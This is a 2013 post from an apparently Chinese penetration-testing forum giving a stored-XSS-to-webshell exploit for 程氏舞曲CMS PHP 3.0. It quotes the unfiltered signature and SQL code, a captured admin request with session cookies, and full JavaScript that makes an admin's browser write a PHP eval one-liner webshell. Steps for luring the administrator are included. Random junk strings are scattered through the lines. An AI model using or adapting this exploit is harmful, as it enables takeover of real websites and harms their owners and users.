中国网络渗透测试联盟

标题: 程氏舞曲CMSPHP3.0 储存型xss getshell [打印本页]
作者: admin    时间: 2013-11-6 18:09
标题: 程氏舞曲CMSPHP3.0 储存型xss getshell
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题. m2 }% k2 I8 Z/ X; x( L
官网已经修补了，所以重新下了源码+ Q9 K* n5 r$ e4 V
因为 后台登入 还需要认证码 所以 注入就没看了。1 w' M. a9 O5 n/ ~5 }% H
存在 xss
5 y; Z! C- X  c漏洞文件 user/member/skin_edit.php8 X) R' a6 e& L2 F3 l: X) k
本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名：. p4 s3 L, L3 u" A8 w- X
  
( M* |6 y0 i# k) `# P. V</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>
! q; {( O$ ]  q2 V$ c, [& V" h% x8 g  & k# I- C8 L( _5 c+ H' `: k8 F
</textarea></td></tr>
7 `* A! S+ j# ], X$ S' ]  
0 e' _- _! f8 ^9 h             user/do.php 2 e1 L" b5 O: v
+ q1 m; e4 a  U

: n5 c. c0 T+ B2 Pif($op=='zl'){ //资料
  r# y7 ]. C! x" C& i! K  , ~% N2 {7 f. @7 K4 E7 T& p# `1 f
             if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) ; b7 l2 k" r9 W4 d
             exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));
# E0 z+ L' o; T' b; c  
! }2 N- s* C, X, U5 f# H             $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',' ^- n, n, f) C$ |3 D: \
  ) y& \) t' J$ [. w* E: A# l, Q
             CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'
- s. o3 Q) b8 w% A: C7 p% A             where CS_Name='".$cscms_name."'";
8 k& e; [# b2 f+ k- b  
8 n; S4 A' s. j: ]             if($db->query($sql)){
2 q% i" b& T5 R" t1 d3 p. w  2 G  v2 ^' J  x
              exit(Msg_Error('恭喜您，修改成功了!','javascript:history.go(-1);'));
) m5 d. ^3 X8 q- w  
; F3 y' }7 q7 L1 F$ M9 B& S             }else{
8 }" P7 T5 y. L- Z5 `/ b2 ^5 m+ }  5 A. y  D1 ?. x9 n; E4 a
              exit(Msg_Error('抱歉，修改失败了!','javascript:history.go(-1);'));
7 O+ h! k2 H5 N  
0 s0 M: `' W& Q             }6 h% k# }) p" |! N
/ ~, u1 m" B. K: Q
* q. f' O" y9 X9 S9 S! D' n/ k6 A$ i
没有 过滤导致xss产生。; Z) c+ k4 Z& o. h: l! u/ _5 j
后台 看了下 很奇葩的是可以写任意格式文件。。9 B# z% c, R. d+ }! X
抓包。。
9 [* B. t) ?+ C) E6 f3 l$ U  O6 G8 C) I
" C7 _2 T. U: |
本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1
/ ^, O) {: m+ J* M% ]  
1 x7 G$ L5 T5 n+ i# yAccept: text/html, application/xhtml+xml, */*9 i% e9 B; ?' s2 F1 G; L& X' F
  
# q. v& T! J; Z- s( U7 h; ~. xReferer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php
0 s1 y( O4 h- N) c  
- p9 r# K1 S/ `# L2 F  p2 A  XAccept-Language: zh-CN
' G  Z" |% ^& W7 [- R  + d8 c% t( {+ D; |" E
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)8 x8 I. @" t+ L+ z. u
  ( J+ N) N6 M: G: T$ z; P
Content-Type: application/x-www-form-urlencoded0 L; W; r/ S+ _+ P" |- E4 B
  
1 F% k, L0 k. y/ X9 }$ UAccept-Encoding: gzip, deflate* s+ f$ o! j* k
  
/ T' N+ i: |, d: p% a# I) XHost: 127.0.0.1, r  ]% U8 m) s9 B) {
  
: i& K' F" c0 ~. y* L. Z5 S+ yContent-Length: 38
8 `* b7 h5 }3 X+ Z  
. |1 ?- \- q" ]0 W% J! TDNT: 1
* q4 B, t6 f" y5 f# {+ o  
& ~+ J' t8 D1 `Connection: Keep-Alive
! V! J+ N! ]8 Z9 y+ k9 P  ! g9 I7 G  i1 [# w6 j* H
Cache-Control: no-cache! i1 M" a" ?0 M' b* D& \/ P
  , R3 b2 `2 p1 @# a. V
Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f655946 U; ?$ z( C, B1 {- T( i5 n
  + d2 j3 i) A& x+ w8 \0 y1 @/ D7 e2 Y! n
$ x' J/ c* l# @8 F8 F' i; `) B
name=aaa.php&content=%3Cs%3E%3Ca%25%3E
' G. W5 w2 s7 e4 L1 i2 l' `
7 E% \& @1 P2 G# h, H+ O; r, G# \, W/ k% Q8 e6 S) _5 |+ @  v9 O

! X" h6 B- P" J3 `' v( n8 Q7 C于是 构造js如下。5 B3 d+ ]/ n: ^* w3 {; Z- v
7 g- b1 u% y9 P: d0 J+ J
本帖隐藏的内容<script> : ~5 [& D: S2 |" e; C  E3 w+ L
thisTHost = top.location.hostname;$ n" g, ]: ]) U9 c8 K$ ?
  
2 x5 Q; Z3 R; V8 [0 a  y& A5 NthisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";: C# l- v# p; E9 P  _3 \7 d
  " D* ?4 \  c( n6 Z" \4 m
function PostSubmit(url, data, msg) { 2 F" ~' @- e# r% H) J9 U
    var postUrl = url;+ C' K+ m, U) X  |
  
  I* F2 Y! ?+ `4 ^    var postData = data;   Y, {! j8 S3 E! _! c- ?" J
    var msgData = msg;
- d4 R  `( ]7 ?2 U: d* f9 G) N    var ExportForm = document.createElement("FORM");
; e" e. V5 V3 B) g' z! }    document.body.appendChild(ExportForm); 9 p# d3 I8 O6 F* j
    ExportForm.method = "POST";
% Y. [. |9 J& V1 ?6 J5 \% c    var newElement = document.createElement("input"); # }; f% d+ [; P# y
    newElement.setAttribute("name", "name");
# y$ R6 D: ?5 v0 `9 C4 f* U    newElement.setAttribute("type", "hidden"); ! T$ `. w: t, A# Y
    var newElement2 = document.createElement("input"); 5 W0 I" E$ W/ n+ G
    newElement2.setAttribute("name", "content"); " T! L2 O' ~  k1 _4 t; `. O# W
    newElement2.setAttribute("type", "hidden");
% z+ R* Z3 q( Y2 T  [! c    ExportForm.appendChild(newElement); & h: k* V/ k( ]( P# c+ m/ Z" V
    ExportForm.appendChild(newElement2);
" p: b1 q6 {* z0 M    newElement.value = postData;
. j9 q2 \6 I% t- E" P    newElement2.value = msgData; + x6 x( T" r/ g" L' g7 n4 _0 y3 Q8 g- P
    ExportForm.action = postUrl;
6 ~! O- G, a2 B7 a; ^  Z    ExportForm.submit(); ( n8 R; t: C0 |% D
};
5 p+ X% z6 }) I  8 y) Y: m  K0 J, ~
PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");# H8 b, }6 i6 i( Z3 i# {6 a5 i
  
; A2 j' A7 a0 [9 h& q4 D* [, `</script>7 {# Q7 o1 W8 k1 y  Z# _: M; e

- M/ b/ x( S% B0 y, T8 s
, C: j4 N) u1 E! d8 g
5 ]3 t8 k  s' }# }$ _' H# @! H4 bhttp://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入3 K0 U" L) [% O7 Z7 N
用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2（uid自己改）
5 O1 z/ N# A5 v/ Q, U$ r就会 在 skins\index\html\目录下生成 roker.php 一句话。
8 P& M* o% \6 P' ^2 Q6 i+ k




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2